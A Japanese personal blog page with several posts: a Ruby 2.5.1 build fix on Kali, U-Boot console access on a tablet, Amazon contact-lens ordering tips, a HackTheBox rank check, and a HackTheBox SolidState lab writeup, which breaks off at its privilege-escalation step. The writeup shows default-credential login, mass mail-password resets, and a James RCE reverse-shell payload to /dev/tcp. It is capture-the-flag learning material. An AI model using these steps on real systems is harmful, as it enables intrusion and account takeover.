日記

日本語の勉強のためのブログ

【kali linux】令和のこの世にRuby 2.5.1をインストールする

1. 環境

  • rbenv: apt経由でインストール済
$ uname -a                                                 
Linux kali 6.19.14+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.14-1+kali1 (2026-05-05) x86_64 GNU/Linux

$ sudo apt list --installed | grep -E "rbenv|ruby-build"
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
rbenv/kali-rolling,now 1.3.2-1 all [installed]
ruby-build/kali-rolling,now 20260902-1 all [installed,automatic]
ruby-builder/kali-rolling,now 3.3.0-1 all [installed,automatic]

$ ruby -v            
ruby 3.3.8 (2025-04-09 revision b200bad6cd) [x86_64-linux-gnu]

$ rbenv -v           
rbenv 1.3.2
                                                                                                                   
$ gcc -v                                                   
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-linux-gnu/15/lto-wrapper
OFFLOAD_TARGET_NAMES=nvptx-none:amdgcn-amdhsa
OFFLOAD_TARGET_DEFAULT=1
Target: x86_64-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Debian 15.2.0-17' --with-bugurl=file:///usr/share/doc/gcc-15/README.Bugs --enable-languages=c,ada,c++,go,d,fortran,objc,obj-c++,m2,rust,cobol,algol68 --prefix=/usr --with-gcc-major-version-only --program-suffix=-15 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/libexec --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-bootstrap --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-libstdcxx-backtrace --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --enable-libphobos-checking=release --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --enable-cet --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/reproducible-path/gcc-15-15.2.0/debian/tmp-nvptx/usr,amdgcn-amdhsa=/build/reproducible-path/gcc-15-15.2.0/debian/tmp-gcn/usr --enable-offload-defaulted --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu --with-build-config=bootstrap-lto-lean --enable-link-serialization=3
Thread model: posix
Supported LTO compression algorithms: zlib zstd
gcc version 15.2.0 (Debian 15.2.0-17) 

2. 普通にインストールを試みるとエラー

$ rbenv install 2.5.1
==> Downloading openssl-1.1.1w.tar.gz...
-> curl -q -fL -o openssl-1.1.1w.tar.gz https://www.openssl.org/source/openssl-1.1.1w.tar.gz
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100    169 100    169   0      0    486      0                              0
  0      0   0      0   0      0      0      0                              0
100  9.43M 100  9.43M   0      0  8.75M      0   00:01   00:01              0
==> Installing openssl-1.1.1w...
-> ./config "--prefix=$HOME/.rbenv/versions/2.5.1/openssl" "--openssldir=$HOME/.rbenv/versions/2.5.1/openssl/ssl" --libdir=lib zlib-dynamic no-ssl3 shared "-Wl,-rpath,$HOME/.rbenv/versions/2.5.1/openssl/lib"
-> make -j 4
-> make install_sw install_ssldirs
==> Installed openssl-1.1.1w to /home/kali/.rbenv/versions/2.5.1
==> Downloading ruby-2.5.1.tar.bz2...
-> curl -q -fL -o ruby-2.5.1.tar.bz2 https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.1.tar.bz2
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100 13.35M 100 13.35M   0      0  7.53M      0   00:01   00:01          1.24M
==> Installing ruby-2.5.1...

WARNING: ruby-2.5.1 is past its end of life and is now unsupported.
It no longer receives bug fixes or critical security updates.

-> ./configure "--prefix=$HOME/.rbenv/versions/2.5.1" "--with-openssl-dir=$HOME/.rbenv/versions/2.5.1/openssl" --enable-shared --with-ext=openssl,psych,+
-> make -j 4

BUILD FAILED (Kali 2026.2 on x86_64 using ruby-build 20260902)

You can inspect the build directory at /tmp/ruby-build.20261010161916.132734.yq3j3S
See the full build log at /tmp/ruby-build.20261010161916.132734.log

ログのエラー箇所(抜粋)を以下に示す。

In file included from ./enc/euc_jp.c:503:
enc/jis/props.kwd:146:1: error: conflicting types for ‘onig_jis_property’; have ‘const struct enc_property *(const
char *, size_t)’ {aka ‘const struct enc_property *(const char *, long unsigned int)’}
enc/jis/props.kwd:40:35: note: previous declaration of ‘onig_jis_property’ with type ‘const struct enc_property *(v
oid)’
   40 | static const struct enc_property *onig_jis_property(/*!ANSI{*/const char *str, unsigned int len/*}!ANSI*/);
      |                                   ^~~~~~~~~~~~~~~~~
cc1: note: unrecognized command-line option ‘-Wno-self-assign’ may have been intended to silence earlier diagnostic
s
cc1: note: unrecognized command-line option ‘-Wno-constant-logical-operand’ may have been intended to silence earli
er diagnostics
cc1: note: unrecognized command-line option ‘-Wno-parentheses-equality’ may have been intended to silence earlier d
iagnostics
make[1]: *** [enc.mk:620: enc/euc_jp.o] Error 1
make[1]: Leaving directory '/tmp/ruby-build.20261010161916.132734.yq3j3S/ruby-2.5.1'
make: *** [uncommon.mk:744: enc] Error 2
make: *** Waiting for unfinished jobs....

3. CFLAGSを設定するとインストール成功

参考: Ruby 3.1.3 fails to build on Fedora 42 · rbenv ruby-build · Discussion #2529 · GitHub

$ CFLAGS="-std=gnu17" rbenv install 2.5.1
==> Downloading openssl-1.1.1w.tar.gz...
-> curl -q -fL -o openssl-1.1.1w.tar.gz https://www.openssl.org/source/openssl-1.1.1w.tar.gz
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100    169 100    169   0      0    367      0                              0
  0      0   0      0   0      0      0      0                              0
100  9.43M 100  9.43M   0      0  6.61M      0   00:01   00:01              0
==> Installing openssl-1.1.1w...
-> ./config "--prefix=$HOME/.rbenv/versions/2.5.1/openssl" "--openssldir=$HOME/.rbenv/versions/2.5.1/openssl/ssl" --libdir=lib zlib-dynamic no-ssl3 shared "-Wl,-rpath,$HOME/.rbenv/versions/2.5.1/openssl/lib"                       
-> make -j 4
-> make install_sw install_ssldirs
==> Installed openssl-1.1.1w to /home/kali/.rbenv/versions/2.5.1
==> Downloading ruby-2.5.1.tar.bz2...
-> curl -q -fL -o ruby-2.5.1.tar.bz2 https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.1.tar.bz2
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100 13.35M 100 13.35M   0      0 17.63M      0                              0
==> Installing ruby-2.5.1...

WARNING: ruby-2.5.1 is past its end of life and is now unsupported.
It no longer receives bug fixes or critical security updates.

-> ./configure "--prefix=$HOME/.rbenv/versions/2.5.1" "--with-openssl-dir=$HOME/.rbenv/versions/2.5.1/openssl" --enable-shared --with-ext=openssl,psych,+                                                                             
-> make -j 4
-> make install
==> Installed ruby-2.5.1 to /home/kali/.rbenv/versions/2.5.1

NOTE: to activate this Ruby version as the new default, run: rbenv global 2.5.1                                                                                                                

4. 補足:RUBY_CONFIGURE_OPTSを使用した場合はエラー

上記同様の箇所でエラーが発生した。

$ RUBY_CONFIGURE_OPTS="--with-cflags=-std=gnu17" rbenv install 2.5.1
==> Downloading openssl-1.1.1w.tar.gz...
-> curl -q -fL -o openssl-1.1.1w.tar.gz https://www.openssl.org/source/openssl-1.1.1w.tar.gz
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100    169 100    169   0      0    155      0   00:01   00:01              0
  0      0   0      0   0      0      0      0           00:01              0
100  9.43M 100  9.43M   0      0  5.12M      0   00:01   00:01              0
==> Installing openssl-1.1.1w...
-> ./config "--prefix=$HOME/.rbenv/versions/2.5.1/openssl" "--openssldir=$HOME/.rbenv/versions/2.5.1/openssl/ssl" --libdir=lib zlib-dynamic no-ssl3 shared "-Wl,-rpath,$HOME/.rbenv/versions/2.5.1/openssl/lib"
-> make -j 4
-> make install_sw install_ssldirs
==> Installed openssl-1.1.1w to /home/kali/.rbenv/versions/2.5.1
==> Downloading ruby-2.5.1.tar.bz2...
-> curl -q -fL -o ruby-2.5.1.tar.bz2 https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.1.tar.bz2
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100 13.35M 100 13.35M   0      0 20.36M      0                              0
==> Installing ruby-2.5.1...

WARNING: ruby-2.5.1 is past its end of life and is now unsupported.
It no longer receives bug fixes or critical security updates.

-> ./configure "--prefix=$HOME/.rbenv/versions/2.5.1" "--with-openssl-dir=$HOME/.rbenv/versions/2.5.1/openssl" --enable-shared --with-ext=openssl,psych,+ --with-cflags=-std=gnu17
-> make -j 4

BUILD FAILED (Kali 2026.2 on x86_64 using ruby-build 20260902)

You can inspect the build directory at /tmp/ruby-build.20261010170218.2521.J5WuFM
See the full build log at /tmp/ruby-build.20261010170218.2521.log

40TL04のU-Bootコンソールに入る

備忘録。とりあえずやってみた履歴として残しておく。

1. 必要なもの

2. 方法

2.1 PuTTYを起動、設定

USB-UARTアダプタをPCに接続したのち、デバイスマネージャーでCOMの番号を確認する。

デバイスマネージャー

その上でPuTTYを起動し、以下の通り設定する。COM番号は先ほど確認した数字にする。

PuTTYの設定値

2.2 40TL04の裏蓋を開け、UARTポートにアクセスする

下図の赤枠部分がUART関連の箇所。

該当箇所

2.3 テストポイントにTX/RXを当て、起動

先ほどの図に記載の通りTX/RXを接続した状態で、40TL04の電源を入れる。

うまくいけば、PuTTYのシリアルコンソールにログが返ってきたのち、U-Bootコンソールに入る。

PuTTYコンソール

具体的なログを以下に例示する(一部省略)。壊れた40TL04を使用しているためブートに失敗しているが、U-Bootコンソールには入ることができている。

CPU:   Freescale i.MX53 family 2.1V at 800 MHz
mx53 pll1: 800MHz
mx53 pll2: 392MHz
mx53 pll3: 216MHz
mx53 pll4: 455MHz
ipg clock     : 65333333Hz
ipg per clock : 32666666Hz
uart clock    : 65333333Hz
cspi clock    : 54000000Hz
ahb clock     : 130666666Hz
axi_a clock   : 392000000Hz
axi_b clock   : 196000000Hz
emi_slow clock: 130666666Hz
ddr clock     : 392000000Hz
esdhc1 clock  : 78400000Hz
esdhc2 clock  : 78400000Hz
esdhc3 clock  : 78400000Hz
esdhc4 clock  : 78400000Hz
nfc clock     : 26133333Hz
Board: MX53-BEJ2 Rev. A
Boot Reason: [POR]
Boot Device: MMC
I2C:   ready
DRAM:   1 GB
MMC:   FSL_ESDHC: 0, FSL_ESDHC: 1
*** Warning - bad CRC or MMC, using default environment

Error: no valid bmp image at uldppppp
In:    serial
Out:   serial
Err:   serial
da9052_i2c_is_connected - i2c write success....
Serial reinitilized!
battery_max 3825
ac on vcell >= 3800
Checking for recovery command file...
Net:   got MAC address from env: 【省略】
FEC0 [PRIME]
booted from eMMC so load kernel from eMMC automatically.
enter ^C to stop autoboot:  0

MMC read: dev # 1, block # 4096, count 8192 partition # 0 ...
8192 blocks read: OK

MMC read: dev # 1, block # 12288, count 768 partition # 0 ...
768 blocks read: OK
## Booting kernel from Legacy Image at 4p▒ppppp ...
   Image Name:   Android Linux Kernel
   Image Type:   ARM Linux Kernel Image (uncompressed)
   Data Size:    2508600 Bytes =  2.4 MB
   Load Address: 4ppp▒ppp
   Entry Point:  4ppp▒ppp
   Verifying Checksum ... Bad Data CRC
ERROR: can't get kernel image!
MX53-BEJ2 U-Boot >

この状態でコマンドを実行した結果も以下に例示する(一部省略)。

MX53-BEJ2 U-Boot > printenv
bootdelay=1
baudrate=115200
loadaddr=0x70800000
netdev=eth0
ethprime=FEC0
ethaddr=【省略】
bootfile=uImage
loadaddr=0x70800000
rd_loadaddr=0x70E00000
lvds_num=1
splashimage=0xefd00000
splashpos=396,200
bootargs=console=ttymxc0 init=/init androidboot.console=ttymxc0 video=mxcdi1fb:RGB24,WSVGA ldb=di1 di1_primary pmem=32M,64M fbmem=5M gpu_memory=64M
bootcmd=run bootcmd_SD; bootm ${loadaddr} ${rd_loadaddr}
sdramtest_full=watchdog start;sdramtest 0x70008000 0x073f8000;sdramtest 0x77900000 0x18700000;sdramtest 0xb0000000 0x20000000;setenv autorun /system/bin/display_sdramtest_success
stdin=serial
stdout=serial
stderr=serial
ethact=FEC0
serialno=【省略】
macaddr=【省略】
bootcmd_SD=mmc read 1 ${loadaddr} 0x1000 0x2000;mmc read 1 ${rd_loadaddr} 0x3000 0x300

Environment size: 780/131068 bytes
MX53-BEJ2 U-Boot > mmc list
FSL_ESDHC: 0
 FSL_ESDHC: 1
MX53-BEJ2 U-Boot > mmc info
MX53-BEJ2 U-Boot > help
?       - alias for 'help'
autoscr - DEPRECATED - use "source" command instead
base    - print or set address offset
bdinfo  - print Board Info structure
bmp     - manipulate BMP image data
boot    - boot default, i.e., run 'bootcmd'
bootd   - boot default, i.e., run 'bootcmd'
bootm   - boot application image from memory
bootp   - boot image via network using BOOTP/TFTP protocol
clk     - Clock sub system
cls     - clear screen
cmp     - memory compare
coninfo - print console devices and information
cp      - memory copy
crc32   - checksum calculation
dhcp    - boot image via network using DHCP/TFTP protocol
echo    - echo args to console
erase   - erase FLASH memory
eraseenv- erase environment variables in persistent storage
ext2load- load binary file from a Ext2 filesystem
ext2ls  - list files in a directory (default /)
fastboot- fastboot- use USB Fastboot protocol

fatinfo - print information about filesystem
fatload - load binary file from a dos filesystem
fatls   - list files in a directory (default /)
flinfo  - print FLASH memory information
go      - start application at address 'addr'
help    - print online help
i2c     - I2C sub-system
iim     - IIM sub system
iminfo  - print header information for application image
imxtract- extract a part of a multi-image
itest   - return true/false on integer compare
loadb   - load binary file over serial line (kermit mode)
loads   - load S-Record file over serial line
loady   - load binary file over serial line (ymodem mode)
loop    - infinite loop on address range
md      - memory display
mii     - MII utility commands
mm      - memory modify (auto-incrementing address)
mmc     - MMC sub system
mmcinfo - mmcinfo <dev num>-- display MMC info
mtest   - simple RAM read/write test
mw      - memory write (fill)
nfs     - boot image via network using NFS protocol
nm      - memory modify (constant address)
ping    - send ICMP ECHO_REQUEST to network host
printenv- print environment variables
protect - enable or disable FLASH write protection
rarpboot- boot image via network using RARP/TFTP protocol
reset   - Perform RESET of the CPU
run     - run commands in an environment variable
saveenv - save environment variables to persistent storage
sdramtest- test SDRAM
serialno- Write / Read the serial number
set_fecmac- Set FEC MAC address
setenv  - set environment variables
sf      - SPI flash sub-system
sleep   - delay execution for some time
source  - run script from memory
sspi    - SPI utility commands
tftpboot- boot image via network using TFTP protocol
version - print monitor version
watchdog- control watchdog

3. 参考

mirenote.blogspot.com

amazon バイオフィニティ 買うときの注意

2026/05/31現在の対処法

人柱になって確認済

  • 1箱ほしい場合 → 屈折率「X.X ダイオプター」、サイズ「X.X」を選択
    • 例:屈折率「-3.75 ダイオプター」、サイズ「-3.75」
  • 2箱以上ほしい場合 → 屈折率「X.X」、サイズ「X箱」を選択
    • 例:屈折率「-3.75」、サイズ「2箱」

混乱ポイント

  • 同じ屈折率でも「ダイオプター」付きのものとそうでないものがある
  • 「ダイオプター」付きの方はサイズが屈折率表記のものしかない
    • 例:屈折率が「-3.75 ダイオプター」 → サイズは「-3.75」しか選べない
  • 「ダイオプター」なしの方はサイズが「2箱」~「4箱」しかない
    • つまり1箱が選べない

屈折率

サイズ

違うレンズを買わないようにするには

すでにレンズが手元にある場合、以下2つの数値を照合すればよい

  • 商品ページ下部の「商品詳細」にある「UPC」という12桁の数字(例:屈折率-3.75の場合は829196079771)
  • レンズ箱裏に記載の12桁の数字(パッケージに違いはあるが、概ね赤枠部分に記載されている)

商品詳細

引用元:https://www.reddit.com/r/contacts/comments/1ccodrj/biofinity_question/

【HackTheBox】hacker rankの確認方法(2026/05/26)

取り急ぎメモ。
※2026/05/26時点での情報のため、今後変更の可能性大

結論

  • https://labs.hackthebox.com/api/v4/user/profile/basic/<user-id> にGETリクエストを送ると、以下を含む情報が返ってくる
    • 現在のhacker rank(script kiddie, hacker, pro hacker, ...)
    • 次のhacker rankまでの進捗
  • 以下、レスポンス例
{
    "profile": {
        "id": XXXX,
(略)
        "rank": "Script Kiddie",
        "rank_id": 2,
        "current_rank_progress": 96.2,
        "next_rank": "Hacker",
        "next_rank_points": 3.886,
        "rank_ownership": 19.43,
        "rank_requirement": 5,
(略)
    }
}

具体的な確認方法(ブラウザ上からhacker rankを確認する)

  1. https://app.hackthebox.com/homeにアクセス
  2. 開発者ツールを起動し、Networkタブを開く
  3. Networkタブで profile/basic を含む通信を検索する
  4. 先ほどのエンドポイント(https://labs.hackthebox.com/api/v4/user/profile/basic/<user-id>)への通信ログがあるので見る

HTB SolidState writeup

1. Reconnaissance

portscan

TCP

$ nmap -T4 -p- --min-rate 1000 -v $IP
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip

UDP(使用頻度上位100ポートを調査)

$ nmap -sU -T4 --top-ports 100 -v $IP
PORT      STATE         SERVICE
19/udp    open|filtered chargen
68/udp    open|filtered dhcpc
631/udp   open|filtered ipp
1900/udp  open|filtered upnp
5353/udp  open|filtered zeroconf
32768/udp open|filtered omad
49152/udp open|filtered unknown

TCP+UDP(検出ポートのみ詳細を調査)

$ nmap -sCV --script=vuln -v -p22,25,80,110,119,4555 $IP
| http-enum:
|   /README.txt: Interesting, a readme.
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'

$ nmap --script="http* and (safe or default)" -v -p80 $IP
|_http-fetch: Please enter the complete path of the directory to save data in.
| http-grep:
|   (1) http://10.129.33.134:80/:
|     (1) email:
|       + webadmin@solid-state-security.com
|   (1) http://10.129.33.134:80/assets/js/:
|     (1) ip:
|_      + 10.129.33.134

$ nmap --script="smtp* and (safe or default)" -v -p25 $IP
PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-commands: Couldn't establish connection on port 25

$ nmap --script="pop* and (safe or default)" -v -p110 $IP
PORT    STATE SERVICE
110/tcp open  pop3
| pop3-brute:
|   Accounts: No valid accounts found
|   Statistics: Performed 5 guesses in 30 seconds, average tps: 0.2
|_  ERROR: Failed to connect.

$ nmap -sU -sCV -v -p22,25,80,110,119,4555 $IP
-> 特になし

80/tcp

サイト訪問

とりあえずブラウザで閲覧してみる。

  • どんなサイト?
    • 会社のホムペ
  • 拡張子はなにか → ffufで使用
    • html
  • CMSは使われているか → wig
    • なさそう
  • 入力欄はあるか → Web脆弱性(XSS, SQLiなど)
    • contact欄がある
      • postでindex.htmlにメールアドレスとか投げてる

Directory Scan

侵入に使えそうな情報は見当たらない。Web経由の侵入の線は薄い?

$ ffuf -ic -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://$IP/FUZZ -e .php,.bak,.old,.zip,.txt,.html
LICENSE.txt             [Status: 200, Size: 17128, Words: 2798, Lines: 64, Duration: 104ms]
README.txt              [Status: 200, Size: 963, Words: 110, Lines: 34, Duration: 104ms]
about.html              [Status: 200, Size: 7183, Words: 680, Lines: 130, Duration: 159ms]
assets                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 107ms]
images                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 121ms]
index.html              [Status: 200, Size: 7776, Words: 525, Lines: 180, Duration: 105ms]
index.html              [Status: 200, Size: 7776, Words: 525, Lines: 180, Duration: 179ms]
server-status           [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 107ms]
services.html           [Status: 200, Size: 8404, Words: 856, Lines: 131, Duration: 106ms]

$ ffuf -ic -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u http://$IP/FUZZ
images                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 103ms]
assets                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 103ms]
server-status           [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 113ms]

$ ffuf -ic -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://$IP/FUZZ
index.html              [Status: 200, Size: 7776, Words: 525, Lines: 180, Duration: 103ms]
.                       [Status: 200, Size: 7776, Words: 525, Lines: 180, Duration: 158ms]
about.html              [Status: 200, Size: 7183, Words: 680, Lines: 130, Duration: 115ms]
services.html           [Status: 200, Size: 8404, Words: 856, Lines: 131, Duration: 103ms]

25/tcp smtp

smtpの情報を得ようとしたがそもそも接続確立できなかった

$ nc -vn $IP 25
(UNKNOWN) [10.129.33.134] 25 (smtp) open
^C

$ nmap -p25 --script smtp-commands $IP
PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-commands: Couldn't establish connection on port 25

$ nmap -p25 --script smtp-open-relay $IP -v
PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Couldn't establish connection on port 25

$ nmap -p25 --script smtp-enum-users $IP -v
PORT   STATE SERVICE
25/tcp open  smtp
| smtp-enum-users:
|_  Couldn't establish connection on port 25

110/tcp pop3

pop3も同様

$ nc -nv $IP 110
(UNKNOWN) [10.129.33.134] 110 (pop3) open
^C

$ nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -p110 $IP
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-01 23:25 JST
Nmap scan report for 10.129.33.134
Host is up (0.11s latency).

PORT    STATE SERVICE VERSION
110/tcp open  pop3?

119/tcp nntp

ncで接続。出力を見るに、以下のサービスがターゲット上で稼働していそう。

  • Apache James
  • Apache Avalon

各ユーザのニュースを確認してみたが、何のデータも残っていなかった。

$ nc -n $IP 119
200 solidstate NNTP Service Ready, posting permitted
list
215 list of newsgroups follows
org.apache.james.dev 0 0 y
org.apache.avalon.dev 0 0 y
org.apache.avalon.user 0 0 y
org.apache.james.user 0 0 y
.
group org.apache.james.dev
211 0 0 0 org.apache.james.dev group selected
article
420 no current article selected
listgroup
211 list of article numbers follow
.
listgroup org.apache.james.dev
211 list of article numbers follow
.
group org.apache.avalon.dev
211 0 0 0 org.apache.avalon.dev group selected
listgroup
211 list of article numbers follow
.
group org.apache.avalon.user
211 0 0 0 org.apache.avalon.user group selected
listgroup
211 list of article numbers follow
.
group org.apache.james.user
211 0 0 0 org.apache.james.user group selected
listgroup
211 list of article numbers follow
.
post
340 send article to be posted. End with <CR-LF>.<CR-LF>
hoge
hoge

4555/tcp rsip

  • JAMES Remote Administration Tool 2.3.2
    • デフォルト認証情報のroot:rootでログイン可能
$ nc -n $IP 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands

HELP
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection

listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

ドンピシャなRCEがあった

$ python3 james.py $IP 10.10.16.187 1234
[+]Payload Selected (see script for more options):  /bin/bash -i >& /dev/tcp/10.10.16.187/1234 0>&1
[+]Example netcat listener syntax to use after successful execution: nc -lvnp 1234
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
[+]Don't forget to start a listener on port 1234 before logging in!

しかし、何かしらのユーザでSSHログインしないと、リバースシェルペイロードは発火しない。 つまり初期侵入には使えない。

2. Initial Access

どう攻めるか

Reconの結果をまとめる

  • 22/tcp open ssh
    • 認証情報がないので今調べるポートではない
  • 25/tcp open smtp
    • 接続できなさそう
  • 80/tcp open http
    • 手がかりがないのでweb経由の侵入の線は薄そう
  • 110/tcp open pop3
    • 接続できなさそう
    • 受信メールに重要な情報があるかも
  • 119/tcp open nntp
    • そもそもプロトコル自体の情報があまり転がっていないため、調査は難しい
      • Reconで調べた範囲では何のニュースもなかった
  • 4555/tcp open rsip
    • サービス名既知
    • バージョン既知
    • デフォルトクレデンシャルでログイン成功
    • RCE脆弱性存在
      • ただし初期侵入には使えない
    • PoCもある

以上より、まずは4555/tcpから調査するのがよさそう。
また、POP3に接続できれば各ユーザの受信メールも見られるので、確認したい。

change password for pop3

Jamesにはメールサーバのユーザパスワードを変更する機能がある。
これを使えば各ユーザでPOP3にログインし、受信メールを確認できる。

そこでJamesにroot:rootでログインし、全ユーザのパスワードを変更してみる。

$ nc -C $IP 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id: root
Password: root
Welcome root. HELP for a list of commands

listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

setpassword james james
Password for james reset
setpassword thomas thomas
Password for thomas reset
setpassword john john
Password for john reset
setpassword mindy mindy
Password for mindy reset
setpassword mailadmin mailadmin
Password for mailadmin reset

login pop3

先ほどパスワードを変えた全ユーザに対し、POP3でログインし、メールボックスの中身を確認する。 その結果、5ユーザ中、以下の2ユーザでメールを確認できた。

john

$ nc -C $IP 110
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user john
+OK
pass john
+OK Welcome john

list
+OK 1 743
1 743
.

retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <john@localhost>;
          Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John,

Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

Thank you in advance.

Respectfully,
James

.

mindy

$ nc -C $IP 110
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user mindy
+OK
pass mindy
+OK Welcome mindy

list
1 1109
2 836
.

retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security.

Respectfully,
James
.

retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

.

これで以下のクレデンシャルを得た。

  • mindy:P@55W0rd1!2@

login via ssh by mindy

mindyユーザでSSHログインするとユーザフラグが得られる。

$ ssh mindy@$IP
mindy@10.129.34.195's password: P@55W0rd1!2@
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

mindy@solidstate:~$ cat user.txt
486e0(略)

ただし、この方法で得られるシェルはrbash(制限付きbash)である。 そのため、rbashから脱出する必要がある。

3. Privilege Escalation

james 2.3.2 RCE

Reconで発見した以下のExploitを実行し、リバースシェルを張ることでrbashから脱出する。

(1) まず50347.pyを実行する

$ python3 50347.py $IP 10.10.16.187 1234
[+]Payload Selected (see script for more options):  /bin/bash -i >& /dev/tcp/10.10.16.187/1234 0>&1
[+]Example netcat listener syntax to use after successful execution: nc -lvnp 1234
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
[+]Don't forget to start a listener on port 1234 before logging in!

(2) nc -lnvp 1234で待ち受けておく

(3) そのうえでmindyとしてSSHログインするとペイロードが実行され、リバースシェルが得られる

上記手法で制限なしのシェルを取得できた。

pspy

まずよくある権限昇格ポイントを調べてみたが全滅。

  • sudo -lは使えない
  • findでSUIDも調べたが変なスクリプトはなかった
  • cron周りのファイルにもとくに情報はない

次にpspy32sを実行し、定期実行されているプロセスを確認する。以下抜粋

